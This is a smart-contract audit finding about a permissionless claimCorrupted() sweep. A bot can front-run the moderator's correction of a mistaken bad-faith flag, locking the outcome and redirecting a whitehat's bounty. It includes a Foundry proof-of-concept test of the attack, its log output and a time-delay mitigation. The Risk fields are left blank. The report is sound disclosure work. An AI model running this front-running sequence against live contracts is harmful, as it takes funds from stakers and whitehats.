Root + Impact
Description
-
Normally, the protocol relies on the moderator to flag terminal pool outcomes. Design.md explicitly claims the moderator has a "pre-claim window" to fix typos. The developers assert that finality on the first claim is not a front-runnable race because honest stakers taking their individual shares do not usurp the overall outcome.
-
However, the specific issue lies in the claimCorrupted() function, which handles bad-faith resolutions. Unlike individual staker claims, this function is fully permissionless and sweeps the entire pool balance to the sponsor's recoveryAddress in a single transaction. If the moderator intends to reward a whitehat (good-faith) but accidentally submits the transaction with goodFaith_ = false (a typo), an MEV bot or malicious sponsor can instantly call claimCorrupted in the next block. This instantly sweeps the entire pool and permanently locks the outcome by setting claimsStarted = true. This completely bypasses the explicitly documented typo-correction window and irrevocably steals the whitehat's bounty.
function claimCorrupted() external nonReentrant {
if (outcome != PoolStates.Outcome.CORRUPTED) revert OutcomeNotSet();
if (goodFaith && bountyClaimed < bountyEntitlement) revert MustClaimBountyFirst();
@>
uint256 toSweep = stakeToken.balanceOf(address(this));
if (toSweep == 0) revert NothingToSweep();
corruptedReserve = toSweep <= corruptedReserve ? corruptedReserve - toSweep : 0;
if (!goodFaith) {
bountyClaimed = bountyEntitlement;
}
@> if (!claimsStarted) claimsStarted = true;
@> stakeToken.safeTransfer(recoveryAddress, toSweep);
Risk
Likelihood:
Impact:
Proof of Concept
This Foundry test simulates a scenario where the moderator makes a typo while flagging a good-faith outcome. It mathematically proves that an MEV bot can instantly front-run the correction window by calling the permissionless claimCorrupted() function, permanently sweeping the pool and locking the outcome before the moderator can fix the typo.
pragma solidity 0.8.26;
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import "forge-std/console.sol";
contract M02_TypoFrontrunTest is BaseConfidencePoolTest {
function testBadFaithCorruptedTypoFrontRunnable() external {
console.log("1. Alice stakes 100 tokens into the pool...");
_stake(alice, 100 * ONE);
console.log("2. Upstream registry gets attacked (Simulating a real hack)...");
_passThroughUnderAttack();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
console.log("3. Moderator intends to reward the whitehat (goodFaith = true).");
console.log(" But they make a typo and pass 'false' for goodFaith!");
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
console.log("4. Bob (an MEV bot) sees the typo in the mempool.");
console.log(" Bob instantly calls claimCorrupted() before the moderator can fix it...");
vm.prank(bob);
pool.claimCorrupted();
console.log("5. Checking where the pool's 100 tokens went...");
uint256 recoveryBalance = token.balanceOf(recovery);
console.log(" - Sponsor's recovery address balance:", recoveryBalance / ONE);
assertEq(recoveryBalance, 100 * ONE, "Funds instantly swept to recovery");
console.log("6. Did Bob's transaction permanently lock the outcome?");
bool isLocked = pool.claimsStarted();
console.log(" - claimsStarted is:", isLocked);
assertTrue(isLocked, "Claims locked the outcome");
console.log("7. Moderator realizes their typo and tries to submit the correction (goodFaith = true)...");
vm.prank(moderator);
vm.expectRevert();
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
console.log(" - REVERTED! The typo-correction window was entirely bypassed.");
console.log(" - IMPACT: The whitehat's entire bounty was irrevocably stolen.");
}
}
Run this Poc:
forge test --match-contract M02_TypoFrontrunTest -vv
Expected Output:
[PASS] testBadFaithCorruptedTypoFrontRunnable() (gas: 471119)
Logs:
1. Alice stakes 100 tokens into the pool...
2. Upstream registry gets attacked (Simulating a real hack)...
3. Moderator intends to reward the whitehat (goodFaith = true).
But they make a typo and pass 'false' for goodFaith!
4. Bob (an MEV bot) sees the typo in the mempool.
Bob instantly calls claimCorrupted() before the moderator can fix it...
5. Checking where the pool's 100 tokens went...
- Sponsor's recovery address balance: 100
6. Did Bob's transaction permanently lock the outcome?
- claimsStarted is: true
7. Moderator realizes their typo and tries to submit the correction (goodFaith = true)...
- REVERTED! The typo-correction window was entirely bypassed.
- IMPACT: The whitehat's entire bounty was irrevocably stolen.
Recommended Mitigation
To prevent bots from instantly finalizing the outcome during bad-faith sweeps, the protocol should either enforce an explicit time delay (grace period) to respect the moderator's typo-correction window, or restrict who is allowed to call the sweep function.
function claimCorrupted() external nonReentrant {
if (outcome != PoolStates.Outcome.CORRUPTED) revert OutcomeNotSet();
if (goodFaith && bountyClaimed < bountyEntitlement) revert MustClaimBountyFirst();
+ // Ensure the moderator's intended pre-claim typo correction window is respected
+ if (block.timestamp < outcomeFlaggedAt + 1 hours) revert ClaimWindowNotOpen();
// aderyn-fp-next-line(reentrancy-state-change)
uint256 toSweep = stakeToken.balanceOf(address(this));